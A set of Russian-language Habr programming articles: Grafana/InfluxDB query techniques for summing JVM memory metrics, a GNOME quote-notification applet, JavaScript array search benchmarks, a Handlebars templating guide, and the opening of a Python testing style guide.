[](https://habrastorage.org/webt/ls/vg/to/lsvgtohynssezzeiy04px0qwq3c.png)
А в настройках визуализации сделаем группировку метрик по стекам **Grafana**:
[](https://habrastorage.org/webt/no/py/5g/nopy5ggb9ittxbz2phdei1egphg.png)
Сначала добавим разделение двух тегов на два разных стека A и B, чтобы их значения не пересекались:
1. **Add series override** / HEAP / **Stack**: A
2. **Add series override** / NON\_HEAP / **Stack**: B
Затем настроим визуализацию метрик на отображение суммарных значений во всплывающей подсказке с графикам:
1. **Stacking & Null value** / **Stack**: On
2. **Hover tooltip** / **Stacked value**: cummulative
3. **Hover tooltip** / **Mode**: Single
Из-за разных особенностей **Grafana** нужно выполнять действия именно в таком порядке. Если изменить порядок действий или оставить некоторые поля с настройками по умолчанию, то что-нибудь не сработает:
* если разделить метрики на Stack **A** и **B** уже после активации **Stacking & Null value** / **Stack**: On, то метрики не разделятся;
* если оставить **Hover tooltip / Mode** со значением по умолчанию, не перевести в **Single**, то **Hover tooltip** не будет отображаться вообще.
А теперь так — видим множество линий, такое себе. Но! Если навести указатель на самый верхний **NON\_HEAP**, то во всплывающей подсказке будет видна сумма значений всех **NON\_HEAP**. Сумма считается верно, уже средствами **Grafana**:
[](https://habrastorage.org/webt/p9/tx/tw/p9txtwio9i4uozvliutk5_dg13o.png)
А если навести курсор на самый верхний график с именем **HEAP**, то увидим сумму по **HEAP**. График отображается верно. Даже всплекск по **HEAP** в 17:03 виден:
[](https://habrastorage.org/webt/g5/78/bo/g578boco1u0sncwf0jmh8ejsyow.png)
Формально, задача выполнена.
Но есть минусы — отображается много лишних графиков. Нужно попасть курсором в самый верхний из них. И в легенде к графику отображается не кумулятивные, а отдельные значения, поэтому легенда стала бесполезной.
### 2.2. Stacked value: cummulative со скрытием промежуточных линий
Поправим первый минус предыдущего решения: сделаем так, чтобы лишние графики не отображались.
Для этого:
1. Добавим в результаты новые метрики с другим именем и значением 0.
2. Новые метрики добавим в **Stack A** и **Stack B**, на вершину стека.
3. Скроем из отображения — оригинальные линии **HEAP** и **NON\_HEAP**.
Добавим после основного запроса два новых: запрос **B** на получение серии со значениями 0 и именем **[NON\_HEAP]** и запрос **C** на получение серии со значениями 0 и именем **[HEAP]**. Чтобы получить 0, берем в каждой временной группе первое значение поля **«Usage.committed»** и вычитаем его же: **first(«Usage.committed»)-first(«Usage.committed»)** — получим стабильный 0. Названия графиков изменены без потери смысла за счёт квадраных скобок: **[NON\_HEAP]** и **[HEAP]**:
[](https://habrastorage.org/webt/no/kh/0f/nokh0fb2fp1t_ictdthli2etylg.png)
**[HEAP]** и **HEAP** объединены в **Stack A**, а ещё скроем все **HEAP**. **[NON\_HEAP]** и **NON\_HEAP** объединим в **Stack B** и скроем **NON\_HEAP**:
[](https://habrastorage.org/webt/uf/zw/7s/ufzw7sw-oxjflnzkglbilrdgmw4.png)
Получаем корректную сумму по **[NON\_HEAP]** в Tooltip при наведении на график:
[](https://habrastorage.org/webt/ga/mh/nz/gamhnzyw1thhnbi5mflkwrlvr_i.png)
Получаем корректную сумму по **[HEAP]** в Tooltip при наведении на график. И даже видны все всплески:
[](https://habrastorage.org/webt/p_/tp/ev/p_tpevfzm7rwkc1534vyhe92ozg.png)
И график формируется быстро. Но в легенде отображается всегда 0, легенда стала бесполезной.
Всё получилось! Правда в обход — через стеки **Grafana**. Именно из-за этого статья добавлена в категорию **Ненормальное программирование**.
3. Сумма максимумов с подзапросом
---------------------------------
Раз мы уже ступили на путь ненормального программирования на связке **Grafana** и **InfluxDB**, давайте продолжим. Сделаем так, чтобы **InfluxDB** вернул небольшое количество точек и чтобы легенда отображалась.
### 3.1 Сумма приращений кумулятивной суммы максимумов
Углубимся в возможности **InfluxDB**. Раньше меня часто выручало взятие производной от кумулятивной суммы, поэтому попробуем применить этот подход и сейчас. Перейдем в режим ручного редактирования запросов:
[](https://habrastorage.org/webt/om/-b/yt/om-bytkvhp5zisny6gw5io_g2ba.png)
Составим такой запрос:
```
SELECT sum("U") FROM (
SELECT non_negative_difference(cumulative_sum(max("Usage.committed"))) AS "U"
FROM "month"."java_memory_pool"
WHERE
(
"host" =~ /^${host:regex}$/ AND
"jolokia_agent_url" =~ /^${jolokia:regex}$/
) AND
$timeFilter
GROUP BY time($granularity), "Type", "name"
)
GROUP BY "Type", time($granularity)
```
Тут берётся максимальное значение метрики в группе по времени и считается сумма таких значений с момента начала отсчёта с группировкой по тегам **Type** и **name**. В результате в каждый момент времени будет сумма всех показаний по типу (**HEAP** или **NON\_HEAP**) с разделением по имени пула, но просуммируется не 30 значений, как было в варианте 1.2, а только одно — максимальное.
И если взять приращение **non\_negative\_difference** такой накопительной суммы за последний шаг, то мы получим значение суммы всех пулов данных с группировкой по тегам **Type** и **name** на момент начала интервала времени.
Теперь, чтобы получить сумму только по тегу **Type**, без группировки по тегу **name**, надо сделать запрос верхнего уровня, с похожими параметрами группировки, но без группировки по **name**.
В результате выполнения такого сложного запроса получим сумму по всем типам.
Идеальный график. Сумма максимумов посчитана верно. Есть легенда с корректными значениями, ненулевыми. Во всплывающей подсказке можно отразить все метрики, а не только Single. Отображаются даже всплески по **HEAP**:
[](https://habrastorage.org/webt/an/yv/1t/anyv1t7m69cwrl6cnwgl-dwd7xy.png)
Одно но — запрос получился непростым: сумма приращения кумулятивной суммы максимумов со сменой уровня группировки.
### 3.2 Сумма максимумов со сменой уровня группировки
Может можно сделать что-то попроще, чем в варианте 3.1? Ящик Пандоры уже открыт, мы перешли в режим ручного редактирования запросов.
Есть подозрение, что получение приращения от кумулятивной суммы приводит к нулевому эффекту — одно гасит другое. Избавимся от **non\_negative\_difference(cumulative\_sum(...))**.
Упростим запрос.
Оставим просто сумму максимумов, с уменьшением уровня группировки:
```
SELECT sum("A")
FROM (
SELECT max("Usage.committed") as "A"
FROM "month"."java_memory_pool"
WHERE
(
"host" =~ /^${host:regex}$/ AND
"jolokia_agent_url" =~ /^${jolokia:regex}$/
) AND
$timeFilter
GROUP BY time($granularity), "Type", "name"
)
WHERE $timeFilter
GROUP BY time($granularity), "Type"
```
Это быстрый простой запрос, который возвращает всего 721 точку на серию за 12 часов, при группировке по минутам: 12 (часов) \* 60 (минут) = 720 интервалов, 721 точка (последняя пустая). Обратите внимание, что фильтр по времени дублируется. Он есть в подзапросе и в группирующем запросе:
[](https://habrastorage.org/webt/8s/ab/tg/8sabtg9rebcu-tonmirjck2jdmk.png)
Без **$timeFilter** во внешнем группирующем запросе количество возвращённых точек будет не 721 за 12 часов, а больше. Так как загруппировка подзапроса выполняется для интервала **from**… **to**, а группировка внешнего запроса без фильтра будет для интервала **from**… **now**. И если в **Grafana** будет выбран интервал времени не последние X-часов (не такой, что **to** = **now**), а за интервал из прошлого (**to** < **now**), то появятся пустые точки со значением null в конце выборки.
Результирующий график получился простым, быстрым, корректным. С легендой, в которой отображаются суммарные метрики. С tooltip для нескольких линий сразу. А также с отображением всех всплесков значений:
[](https://habrastorage.org/webt/an/yv/1t/anyv1t7m69cwrl6cnwgl-dwd7xy.png)
Результат достигнут!
Ссылки (вместо списка литературы)
---------------------------------
Дистрибутивы используемых в статье инструментов:
* [grafana](https://grafana.com/grafana/download) (6.5.0)
* [influxdb](https://portal.influxdata.com/downloads/) (1.7.9)
* [telegraf](https://portal.influxdata.com/downloads/) (1.13.3)
* [jolokia-jvm-1.6.2-agent.jar](https://jolokia.org/download.html) (1.6.2)
Документация о возможностях инструментов, используемых в статье:
| Сущность | Описание |
| --- | --- |
| [Retention policy](https://docs.influxdata.com/influxdb/v1.7/guides/downsampling_and_retention/), [InfluxDB Data Retention](https://towardsdatascience.com/influxdb-data-retention-f026496d708f) | Retention policy **montn** длиной в 30 дней использую, чтобы хранить метрики производительности JVM и другие оперативные метрики. Обычно политикой по умолчанию является политика **auto**, которая не имеет максимальной длительности. Используется в «Как всё начиналось» в содержимом **telegraf.conf** и в текстах запросов к **InfluxDB** всех разделов, и на снимках конструкторов запросов **Grafana** |
| Telegraf / [InfluxDB v1.x Output Plugin](https://github.com/influxdata/telegraf/tree/master/plugins/outputs/influxdb) | Настройка отправки метрик из **Telegraf** в **InfluxDB**. Используется в в содержимом **telegraf.conf** |
| Telegraf / [agent / interval](https://github.com/influxdata/telegraf/blob/master/docs/CONFIGURATION.md#intervals) | В статье описан случай, когда метрики собираются каждые 2 секунды. Используется в «Как всё начиналось» в содержимом **telegraf.conf**. И в «1.2. Сумма с группировкой по тегу за минуту» и «1.3. Сумма с группировкой по тегу за секунду» |
| Java 8 / [Interface MemoryPoolMXBean](https://docs.oracle.com/javase/8/docs/api/java/lang/management/MemoryPoolMXBean.html) | Описание интерфейса MemoryPool, где видно, что все поля либо bool, либо long. Поэтому все метрики в **telegraf.conf** приводятся в типу int |
| Telegraf / [Jolokia2 Input Plugins](https://github.com/influxdata/telegraf/tree/master/plugins/inputs/jolokia2) | Используется в **telegraf.conf** для выбора MBean-полей, которые будут сохраняться в **InfluxDB** |
| Telegraf / [Converter Processor](https://github.com/influxdata/telegraf/tree/master/plugins/processors/converter) | Используется в **telegraf.conf**, чтобы сконвертировать метрики из типа **float** в тип **int** перед сохранением в **InfluxDB**. И чтобы сконвертировать строковое поле **Type** в тег **Type**, именно по нему и выполняется группировка в статье |
| Grafana / Variables / [Advanced Formatting Options / Regex](https://grafana.com/docs/grafana/latest/reference/templating/#regex) | Переменные Grafana, для которых настроен Multiselect не нуждаются в экранировании, а остальным необходимо экранирование, если они используются в фильтрах, как регулярные выражения **`~ /^${переменная}$/`** — недостаточно, нужно **`~ /^${переменная:regex}$/`** |
| Grafana / Variables / Global Built-in Variables / [The $timeFilter or $\_\_timeFilter Variable](https://grafana.com/docs/grafana/latest/reference/templating/#the-timefilter-or-timefilter-variable) | Описание Grafana-макроподстановки **$timeFilter**, которая используется во всех запросах |
| InfluxDB / [MAX()](https://docs.influxdata.com/influxdb/v1.7/query_language/functions/#max) | Описание селектора **MAX()** из **InfluxDB** 1.7, который используется для выбора максимального значения поля |
| InfluxDB / [SUM()](https://docs.influxdata.com/influxdb/v1.7/query_language/functions/#sum) | Описание функции аггрегирующей функции **SUM()** из **InfluxDB** 1.7 |
| InfluxDB / [Subqueries](https://docs.influxdata.com/influxdb/v1.7/query_language/data_exploration/#subqueries) | Описание механизма подзапросов в **InfluxDB** 1.7, который используется в разделе 3 статьи |
| InfluxDB / Transformation / [CUMULATIVE\_SUM()](https://docs.influxdata.com/influxdb/v1.7/query_language/functions/#cumulative-sum) | Описание трансформации **CUMULATIVE\_SUM()**, которая часто пригождается при написании запросов к **InfluxDB**, в всязке с **NON\_NEGATIVE\_DERIVATIVE()** |
| InfluxDB / Transformation / [NON\_NEGATIVE\_DERIVATIVE()](https://docs.influxdata.com/influxdb/v1.7/query_language/functions/#non-negative-derivative) | Описание трансформации **NON\_NEGATIVE\_DERIVATIVE()**, которая использовалась в разделе 3 статьи. И которая компенсирует эффект **CUMULATIVE\_SUM()** — мы получили нулевой эффект от их связки в разделе 3 |
| [Using Grafana’s Query Inspector to troubleshoot issues](https://community.grafana.com/t/using-grafanas-query-inspector-to-troubleshoot-issues/2630) | Описание **Query Inspector**, которое используется в статье для просмотра количества возвращаемых значений, для просмотра финального запроса со всеми подстановками Grafana-переменных |
| Grafana / Graph / [Draw Options](https://grafana.com/docs/grafana/latest/features/panels/graph/#draw-options) | Описание настроек Stack, Tooltip,… которые использовались для отображения суммарного значения во всплывающих подсказках к графикам в разделе «2. Grafana-way. Используем стек значений» статьи |
| Grafana / Graph / [Series overrides](https://grafana.com/docs/grafana/latest/features/panels/graph/#series-overrides) | Описание возможности переопределить настройки отображения серий значений (отдельной линии графика или группы линий) в **Grafana** |
Итоги
-----
Связку **Grafana** и **InfluxDB** нужно хорошо знать инженерам по тестированию производительности. И в этой связке многие простые задачи являются очень интересными, и их не всегда можно решить методами нормального программирования.
Иногда могут понадобиться навыки ненормального программирования с помощью особенностей **Grafana** и тонкостей языка запросов **InfluxDB**.
В статье по шагам разобрали четыре варианта реализации суммирования метрики с группировкой по одному тегу, но у которой есть несколько тегов. Задача получилась интересной. И таких задач много.
Готовлю доклад на тему тонкостей программирования с **Grafana** и **InfluxDB**. Буду периодически публиковать материалы на эту тему. А пока буду рад вашим вопросам по текущей статье. | https://habr.com/ru/post/490764/ | null | ru | null |
# Gnome Forismatic Notify Applet
Добрый день!
Начав использовать python в своих адмниских целях, а-ля написание несложных скриптов, не мог нарадоваться простоте этого языка. Почти сразу же возникло желание попробовать написать полноценное приложение на python. Но никак не мог придумать, что б такого создать чтобы это было интересно и полезно не только для меня. Идея пришла после прочтения [этого](http://habrahabr.ru/blogs/linux/92110/) топика на хабре, к сожалению он сейчас не доступен, но, если кратко, речь идет о отображении цитат с сайта [forismatic.com](http://www.forismatic.com) при открытии консоли.
Я решил, что было б неплохо написать апплет для gnome, который будет показывать эти же цитаты, но с помощью уведомлений. Тогда б не пришлось открывать новую консоль, чтоб прочесть очередную цитату. Результат мне понравился, и захотелось поделится им с сообществом.
##### Кратко о программе
Сам апплет представляет собой обычную иконку на gnome panel.

При нажатии на иконку левой кнопкой мыши появляется цитата в виде всплывающего уведомления. Но деже если по апплету не кликать, то уведомления с цитатами все равно будут появляться каждые 30 мин (по умолчанию).

Все настройки сведены в небольшое меню.
 
С помощью меню можно:
* Выбрать одну из двух тем — голубую(стандартная для сайта forismatic.com) и черную.
* Изменить язык на котором будут показаны цитаты (английский или русский)
* Изменить временной период между показами цитат (в диапазоне 5-300 мин).
Нажатием средней кнопки мыши на иконке апплета будет открыта страница с последней цитатой на forismatic.com. Действие дублируется с помощью пункта меню **ShowQuote**.
##### Технические детали
Апплет написан на pygtk. Все дополнительные модули которые пришлось использовать входят стандартную набор python, поэтому проблем с зависимостями быть не должно.
Цитаты забираются с помощью API в виде xml и после парсинга сохраняются в ключах Gconf по адресу `/apps/panel/applets/applet_*id*/pref/`. Это позволяет запускать сразу несколько копий апплета с различными настройками. Окно настроек (**Preferences**) создано в программе glade.
В создании апплета очень помогла [эта](http://citforum.ru/programming/python/gnome_applets/) статья, с которой и был успешно слизан шаблон для апплета.
##### Недостатки.
Пока я могу выделить только одну глобальную проблему — зависание всего апплета во время получения очередной цитаты с сайта. Как я понял, перечитав уйму тематических форумов, решить это можно только используя многопоточность (threading). Выделить один поток для прорисовки графики, а второй поток для работы с API.
Второй пункт в TODO листе — сделать систему сообщений об ошибках. На данный момент в отладочном режиме ошибки выводятся только в stdout. А в режиме апплета уведомления об ошибках и вовсе отсутствуют. Если кому-то еще программка понравится, то постараюсь найти время и доработать.
Не могу не пожаловаться на сам GTK и его [странную](http://www.pygtk.org/pygtk2reference/class-gdkevent.html) обработку кликов мыши из-за которой провалилась красивая идея с открытием сайта по двойному клику. Возможно это и правильно, что перед тем как генерировать событие **2BUTTON\_PRESS** происходит генерация и двух событий **BUTTON\_PRESS**, но из-за этого я так и не придумал нормального способа повесить различные действия на одиночный и двойной клик мыши.
Если кто-то из хабр-сообщества подскажет как это реализовать буду очень признателен.
##### Установка
Была идея создать deb пакет, но, к сожалению, после вечера проведенного за чтением документации, так и не понял как это сделать в случае с python. Поэтому для установки апллета можно скачать исходники с [github.com](http://github.com/vanuch/Forismatic-Applet) или [launchpad.net](https://code.launchpad.net/~goncharov-i-v/+junk/ForismaticApplet) и вручную скопировать файлы в нужные папки:
`sudo cp -a ForismaticApplet /usr/share/
sudo cp forismatic_notify.server /usr/lib/bonobo/servers/`
Для пущей уверенности я бы рекомендовал перезагрузить gnome
После этого в меню ПКМ->добавить на панель появится Forismatic Applet.
##### Послесловие
Это мой первый опыт в программировании GUI приложений, поэтому я надеюсь, что критика будет конструктивной и не сильно строгой.
Естественно, все найденные баги постараюсь учесть и исправить.
**UPD:** Добавил deb пакет(спасибо [fenrirgray](https://habrahabr.ru/users/fenrirgray/)), скачать можно с тех же [github.com](http://github.com/vanuch/Forismatic-Applet) и [launchpad.net](https://code.launchpad.net/~goncharov-i-v/+junk/ForismaticApplet). Например, ссылка с последнего [ForismaticNotify\_Applet\_0.7b-1\_all.deb](http://bazaar.launchpad.net/%7Egoncharov-i-v/%2Bjunk/ForismaticApplet/download/vanuch%40vanuch-20100823130414-ym8wsahgaqla3nu3/forismaticnotify_app-20100823130247-szl01dvr5ccetmlz-1/ForismaticNotify_Applet_0.7b-1_all.deb). Но, все же лучше будет перейти в репозиторий и там скачать, чтоб быть увереным, что это последняя версия пакета. | https://habr.com/ru/post/102076/ | null | ru | null |
# Поиск в массиве (множестве) в JavaScript
Недавно решал задачу, когда нужно было определить, попадает ли определённое (строковое) значение во множество допустимых значений.
В JavaScript 1.6 существует [метод indexOf](https://developer.mozilla.org/En/Core_JavaScript_1.5_Reference:Objects:Array:indexOf) объекта Array для поиска в массиве, но этот метод не поддерживается в Internet Explorer. Для IE данный метод реализовывается с помощью перебора массива в цикле.
Но так как порядок следования элементов был не важен и каждая миллисекунда была на счету, то я сравнил производительность перебора цикла в массиве с другими вариантами поиска (без перебора).
А варианты поиска без перебора следующие:
1. Склейка массива в строку и поиск в строке
> `if (myarray.join().search("Строка поиска") != -1) { ... }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
При использовании этого способа нужно учесть проблему уникальности вхождения подстроки поиска в склеенную из массива строку. Для этого можно, например, использовать символы склейки, которые априорно не встречаются в строке:
> `if (("#" + myarray.join("#,#") + "#").search("#Строка поиска#") != -1) { ... }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
2. Использование объекта вместо массива, «значениями массива» являются ключи хеша
> `if ("Строка поиска" in myarray) { ... }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Для оценки производительности каждого из трёх методов поиска я создал [тестовую страницу](http://milovanov.info/demo/search_in_array.html), на которой создаётся 100 000 строк вида «СтрокаN», где N — номер строки, и затем производится поиск строки «Строка60000».
**Оказалось, что оператор in работает практически мгновенно (время выполнения всегда 0), даже в IE6!**
#### Результаты тестов (Celeron 2.4)
| Браузер | in | String.search | Array.indexOf |
| --- | --- | --- | --- |
| IE6 | ноль | 94 | 2859 |
| IE7 | ноль | 125 | 390 |
| FF2 | ноль | 2016 | 31 |
| FF3 | ноль | 71 | 3 |
| O9 | ноль | 281 | 47 |
| Safari3 | ноль | 188 | 31 |
*Время поиска в мс.* | https://habr.com/ru/post/46787/ | null | ru | null |
# Handlebars. Руководство к действию
Данная статья содержит в себе описание основных возможностей шаблонизатора [Handlebars](http://handlebarsjs.com/) и является свободным переводом его официальной документации. Итак, поехали…

С помощью Handlebars вы сможете построить эффективные семантические шаблоны. Шаблоны Handlebars во многом совместимы с шаблонами [Mustache](https://mustache.github.io/) — в большинстве случаев они взаимозаменяемы. Полные сведения можно найти [по этой ссылке](https://github.com/wycats/handlebars.js#differences-between-handlebarsjs-and-mustache).
Выражения
=========
Для начала работы с Handlebars необходимо подключить файл *handlebars.js*:
```
```
Шаблоны Handlebars выглядят как обычный HTML, со встроенными handlebars-выражениями.
Самое простое handlebars-выражение представляет собой простой идентификатор:
```
{{some_contents}}
```
Идентификатором может быть любой символ Unicode за исключением следующих:
```
Пробел ! " # % & ' ( ) * + , . / ; < = > @ [ \ ] ^ ` { | } ~
```
Вы можете вставить шаблон Handlebars в ваш HTML-код, включив его в тэг :
```
<div class="entry">
<h1>{{title}}</h1>
</div>
```
В JavaScript шаблон компилируется с помощью Handlebars.compile:
```
var source = $("#entry-template").html();
var template = Handlebars.compile(source);
```
Возможна также [предварительная компиляция шаблона](http://handlebarsjs.com/precompilation.html), что приведет к меньшей ресурсоемкости, что может быть очень важно при работе с мобильными устройствами.
Handlebars шаблоны вычисляются в зависимости от контекста, переданного в скомпилированный метод. Выполнив наш шаблон со следующим содержанием:
```
var context = { title: "Собаке Качалова" };
var html = template(context);
```
Мы получим HTML-код:
```
Собаке Качалова
===============
```
Handlebars-выражения могут иметь пути, разделенные точками. Они позволяют искать свойства, вложенные ниже текущего контекста:
```
{{title}}
=========
{{author.name}}
---------------
```
При выполнении шаблона будет взято свойство author у текущего контекста, затем у результата будет взято свойство name.
Этот шаблон будет работать со следующим контекстом:
```
var context = {
title: "Собаке Качалова",
author: {
id: 47,
name: "Сергей Есенин"
}
};
```
Пути Handlebars также могут включать **../** сегменты, позволяющие указать путь относительно родительского контекста. С ними мы столкнемся, когда будем рассматривать блоковые хелперы.
Handlebars экранирует выражения, помещенные в двойные скобки {{ }}. Чтобы избежать этого, необходимо поместить выражение в тройные скобки {{{ }}}. Чтобы в будущем при написании генерирующего HTML-код хэлпера избежать экранирования возвращаемого им результата, мы будем возвращать *new **Handlebars.SafeString**(result)*
Хелперы
-------
Handlebars-хелпер представляет собой простой идентификатор, за которым следуют ноль или более параметров (через пробел). Каждый параметр представляет собой handlebars-выражение. Параметром хелпера может также являться простая строка, число или логическое значение. Хелпер производит определенные операции с параметрами и возвращает HTML код.
```
{{{link "Подробнее..." poem.url}}}
```
Handlebars-хелперы могут быть доступны в шаблоне из любого контекста.
```
{{poem.title}}
==============
{{link "Подробнее..." poem.url}}
```
Вы можете зарегистрировать хелпер с помощью метода **Handlebars.registerHelper**. При использовании следующего контекста и хелпера:
```
var context = {
poem: {
title: "Собаке Качалова",
url: "Sobake_Kachalova.html"
}
};
Handlebars.registerHelper('link', function(text, url) {
url = Handlebars.escapeExpression(url); //экранирование выражения
text = Handlebars.escapeExpression(text);
return new Handlebars.SafeString("[" + text + "](" + url + ")");
});
```
Получим следующий результат:
```
Собаке Качалова
===============
[Подробнее...](Sobake_Kachalova.html)
```
Handlebars-хелперам также можно передать последовательность пар ключ-значение после всех непарных параметров. Ключи должны быть простыми идентификаторами, а значения — handlebars-выражениями (т.е. значения могут быть идентификаторами, путями, или строками).
```
{{link "Подробнее..." href=poem.url class="poem"}}
```
Регистрация хелпера:
```
Handlebars.registerHelper('link', function(text, options) {
console.log(options.hash['href']); //значение, лежащее в poem.url
console.log(options.hash['class']); //"poem"
return new Handlebars.SafeString("[" + Handlebars.escapeExpression(text) + "](\"")");
});
```
Потенциально может возникнуть конфликт имен между хелперами и полями данных (скажем, у нас используются в одном контексте handlebars-выражение {{name}} и хелпер {{name}}). Handlebars предлагает нам следующую возможность разрешения этого конфликта:
```
{{./name}} or {{this/name}} or {{this.name}}
```
Любое из вышеперечисленных handlebars-выражений вызовет поле данных {{name}} в текущем контексте, а не хелпер с тем же самым именем.
Блоковые хелперы
----------------
Блоковые хелперы позволяют определять пользовательские итераторы, а также другую функциональность, с помощью которой можно вызвать переданный блок в новом контексте. Блоковый хелпер записывается следующим образом:
```
{{#helper_name}}some_block{{/helper_name}}
```
При регистрации хелпера параметры в *Handlebars.registerHelper* передаются в том порядке, в котором они были переданы хелперу пользователем. Вслед за всеми указанными пользователем параметрами следует параметр **options**. Он имеет следующие свойства:
1) **options.fn** — содержит функцию, которая ведет себя как обычный скомпилированный шаблон Handlebars. В качестве параметра функция принимает контекст и возвращает строку.
*Пример 1.* Давайте определим блоковый хелпер, который изменяет разметку обернутого в него текста:
```
{{#bold}}{{body}}{{/bold}}
```
Регистрация:
```
Handlebars.registerHelper('bold', function(options) {
return '' + options.fn(this) + '';
});
```
Так как содержание блокового хелпера экранируется при вызове options.fn(context), Handlebars не экранирует результат, возвращаемый блоковым хелпером. Если это сделать, то внутреннее содержание будет экранировано дважды!
Здесь в качестве параметра функции мы передали текущий контекст (this). Давайте укажем другой контекст, передав его хелперу как параметр:
*Пример 2.*
```
{{author}}
{{#with poem}}
{{title}}
{{../author}}
{{year}}
{{/with}}
```
Выполнить этот шаблон мы могли бы со следующим JSON, имеющим вложенные в объект poem ключи title и year:
```
{
author: "Сергей Есенин",
poem: {
title: "Собаке Качалова",
year: 1925
}
}
```
Регистрация:
```
Handlebars.registerHelper('with', function(context, options) {
console.log(context); //{title: "Собаке Качалова", year: 1925}
return options.fn(context);
});
```
Мы получим HTML-код:
```
Сергей Есенин
Собаке Качалова
Сергей Есенин
1925
```
Обратим внимание, что в этом примере мы использовали сегмент **../** для указания пути к свойству author, находящемуся вне контекста poem.
*Пример 3.* Давайте напишем итератор, создающий обертку
и вкладывающий в нее каждый передаваемый ему блок как элемент -
.
```
{{#list nav}}
[{{title}}]({{url}})
{{/list}}
```
Выполнить этот шаблон мы могли бы, используя следующий контекст:
```
{
nav: [
{ url: "http://www.museum-esenin.ru/biography", title: "Биография Сергея Есенина" },
{ url: "http://www.fedordostoevsky.ru/biography", title: "Биография Ф. М. Достоевского" },
]
}
```
Регистрация хелпера:
```
Handlebars.registerHelper('list', function(context, options) {
var ret = "";
for(var i=0, j=context.length; i" + options.fn(context[i]) + "";
}
return ret + "
";
});
```
Мы получим HTML-код:
```
* [Биография Сергея Есенина](http://www.museum-esenin.ru/biography)
* [Биография Ф. М. Достоевского](http://www.fedordostoevsky.ru/biography)
```
2) **options.inverse** — функция используется при работе с управляющими структурами Handlebars. Управляющие структуры обычно не изменяют текущий контекст — вместо этого они решают, вызвать ли блок, основываясь на значении переданного параметра.
```
{{#if isActive}}

{{else}}

{{/if}}
```
Handlebars возвращает блок, следующий за {{else}}, через функцию *options.inverse*:
```
Handlebars.registerHelper('if', function(conditional, options) {
if(conditional) {
return options.fn(this);
} else {
return options.inverse(this);
}
});
```
3) **options.hash** — содержит последовательность пар ключ-значение, передаваемых хелперу после всех непарных параметров.
*Пример.* Давайте вернемся к хелперу *list* и сделаем возможным добавление любого количества атрибутов создаваемой нами обертки
.
```
{{#list nav id="nav-bar" class="top"}}
[{{title}}]({{url}})
{{/list}}
```
Handlebars передает парные параметры в *options.hash*, где они хранятся как ключи-значения объекта.
Регистрация хелпера:
```
Handlebars.registerHelper('list', function(context, options) {
var attrs = [];
for (key in options.hash) {
attrs.push(key + '="' + options.hash[key] + '"');
}
return "" + context.map(function(item) {
return "* " + options.fn(item) + "
";
}).join("\n") + "
";
});
```
Мы получим HTML-код:
```
* [Биография Сергея Есенина](http://www.museum-esenin.ru/biography)
* [Биография Ф. М. Достоевского](http://www.fedordostoevsky.ru/biography)
```
Хеш-аргументы предоставляют мощную возможность передать блочному хелперу много дополнительных параметров без сложностей, связанных с позициями аргументов.
Встроенные хелперы
==================
1) **if** — используйте этот хелпер для вывода блока по условию.
```
{{#if author}}
{{firstName}} {{lastName}}
==========================
{{else}}
Автор неизвестен
================
{{/if}}
```
2) **unless** — используйте этот хелпер как обратный хелперу *if*. Блок будет выведен, если выражение вернет ложное значение.
```
{{#unless license}}
### ВНИМАНИЕ: Эта запись не имеет лицензии!
{{/unless}}
```
3) **each** — используйте этот хелпер для перебора списков. Внутри блока Вы можете использовать *this* для ссылки на элемент списка.
```
{{#each writers}}
* {{@index}}: {{this}}
{{else}}
* Список пуст
{{/each}}
```
Этот шаблон может быть использован в следующем контексте:
```
{
writers: [
"А. С. Пушкин",
"Ф. М. Достоевский",
"Сергей Есенин"
]
}
```
В результате получим:
```
* 0: А. С. Пушкин
* 1: Ф. М. Достоевский
* 2: Сергей Есенин
```
Блок, следующий за секцией {{else}}, выводится только когда список пуст.
4) **with** — используйте этот хелпер для сдвига контекста секции handlebars-шаблона.
```
{{title}}
=========
{{#with author}}
{{firstName}} {{lastName}}
--------------------------
{{else}}
Автор неизвестен
----------------
{{/with}}
```
Этот шаблон может быть использован в следующем контексте:
```
{
title: "Собаке Качалова",
author: {
firstName: "Сергей",
lastName: "Есенин"
}
}
```
5) **log** — позволяет логировать состояние контекста во время выполнения шаблона.
```
{{log "Фамилия: " lastName "; Имя: " firstName}}
```
Делегируется в *Handlebars.logger.log*, который может быть переопределен для выполнения пользовательского логирования.
Более подробная информация о встроенных хелперах с примерами находится [по этой ссылке](http://handlebarsjs.com/builtin_helpers.html).
Повторное использование шаблонов (Partials)
===========================================
Partials позволяют повторно использовать код путем создания общих шаблонов. Partials — это обычные handlebars-шаблоны, которые могут быть непосредственно вызваны через другие шаблоны.
Чтобы использовать Partial, его необходимо сначала зарегистрировать через **Handlebars.registerPartial**:
```
Handlebars.registerPartial('myPartial', '{{name}}')
```
Partial может быть предварительно скомпилирован — в таком случае предварительно скомпилированный шаблон передается в качестве второго параметра.
Вызов Partial:
```
{{> myPartial }}
```
Partial выполняется в текущем контексте. Имеется также возможность выполнить Partial в пользовательском контексте, передавая контекст при вызове Partial:
```
{{> myPartial myOtherContext }}
```
Более подробные сведения о Partials можно получить, перейдя [по этой ссылке](http://handlebarsjs.com/partials.html). | https://habr.com/ru/post/273581/ | null | ru | null |
# Руководство по моему стилю тестирования на Python
В этой статье я попыталась собрать несколько своих техник тестирования на Python. Не стоит воспринимать их как догму, поскольку, думаю, со временем я обновлю свои практики.
#### Немного терминологии
* **Цель** (target) – то, что вы тестируете в настоящий момент. Возможно, это функция, метод или поведение, сформированное набором элементов.
* **Коллаборатор** – любой объект, используемый целевым тестируемым объектом. Как правило, коллабораторы должны быть выходными данными для цели (либо аргументами функции, либо экземплярами класса), но иногда коллабораторы – это более глубокие объекты, такие как сокеты, например.
* Я не делаю различий между **юнит-тестами** и **интеграционными тестами**. Оба этих типа тестов я зову юнит-тестами. Я не стараюсь изолировать один юнит кода и тестировать его в отрыве от остального проекта. Скорее, я пытаюсь выделить юнит поведения.
* **Системные тесты** – это тесты, которые работают с настоящими внешними системами. Они отличаются от юнит-тестов, которые не должны «покидать» локальную машину.
### Имена, функции и классы тестов
Старайтесь следовать [рекомендациям pytest](https://docs.pytest.org/en/latest/goodpractices.html#conventions-for-python-test-discovery). Тесты должны называться в соответствии с модулем, который они тестируют. Например, *transport.py* должен тестироваться *test\_transport.py*.
Основное правило гласит, что имя теста должно соответствовать имени тестируемой цели.
```
def refresh(...):
...
def test_refresh():
...
```
Для тестирования различного поведения, вариантов отказа и краевых случаев, добавляйте дополнительные тесты с небольшим описанием, добавленным к имени теста:
```
def test_refresh_failure():
